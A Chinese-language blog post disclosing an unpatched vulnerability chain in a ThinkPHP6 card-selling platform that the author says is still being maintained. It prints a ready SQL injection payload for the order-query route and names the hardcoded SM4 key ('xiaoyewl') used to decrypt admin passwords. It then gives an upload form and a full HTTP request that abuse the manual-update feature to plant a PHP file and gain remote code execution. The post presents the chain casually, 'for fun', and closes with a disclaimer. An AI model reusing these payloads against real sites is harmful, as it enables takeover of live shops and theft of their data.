某发卡系统0day
写在前面
偶然刷到的一套发卡系统,开发人员仍在维护更新,简单看了一下,通过SQL注入可以进后台getshell,很简单,看个乐呵
系统简介
由ThinkPHP6开发的发卡管理系统。
开发语言:PHP开发框架:ThinkPHP6后台登录:/adminx/login.html分站后台:/admin/login.html管理账密:SM4(“xiaoyewl”,password)
代码解析
今天没有Seay启动了,因为是tp的框架,代码审起来比较轻松。
前台SQL注入
在“app/index/controller/ChadanController.php”的“queryOrderPage”函数中,参数“orderId”没有经过任何的过滤直接被拼接在了SQL语句里。
构造出访问路由,这里就直接用sqlmap的payload演示了:
sqlmap直接管理员账号密码
原本以为开发偷懒,用base64编码密码,很显然是想多了。
既然不是,那就从源码出发,找到管理员登录的代码,看到是有“encrypt”方法的。
找到“encrypt”声明的地方,看到用的加密是sm4,并且“key”也是给出了,为“xiaoyewl”。
也是在“extend/sm4/SM4.php”找到了加密的代码,copy下来本地实现一下,最后成功解密。
最后也是成功登录后台。
后台getshell
漏洞功能点在后台系统更新处,管理员可以选择手动上传zip更新。其中参数“path”为zip地址,参数“versionId”没有用(忽略)。
“str_ireplace(request()->domain(), '', $path);”是将参数“path”中的域名给替换为空,起初想着可以通过远程zip。但是“public_path() . $path;”中的“public_path()”方法(代码如下图所示),会在“path”前拼接目标服务器本地目录,所以远程zip的方案不可行了。
后面的代码就不用分析了,就是解压zip的过程。
No.1 先上传构造好的zip(public/test.php)至目标服务器。
No.2 利用系统的更新功能,将zip中的php释放到目标服务器web。
然后访问“/test.php”,成功RCE。
漏洞总结
前台SQL注入
/index/chadan/queryorderpage
orderId=1") and gtid_subset(concat(0x7e,(select version()),0x7e),7087) and ("1"="1
后台getshell
No.1 上传zip
<html>
<head>
<title>文件上传</title>
</head>
<body>
<form action="http://xxx.xxx.xxx/adminx/upload/zip" method="post" enctype="multipart/form-data">
文件:<input type="file" name="file"><br>
<input type="submit" value="提交">
</form>
</body>
</html>
No.2 更新解压
POST /adminx/version/manualUpdate.html HTTP/1.1
Host: xxx.xxx.xxx
Content-Length: 24
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://xxx.xxx.xxx/
Referer: http://xxx.xxx.xxx/adminx/version/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ecb57a3b4b36ae49d3ede594576ebd8c
x-forwarded-for: 127.0.0.1
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Google Chrome";v="116", "Chromium";v="116", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
Connection: close
path=./storage/upload/yunyeka/20240423/39d0da9f3689f67f20a42ea54e8fb40f.zip&versionId=3.7.0
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。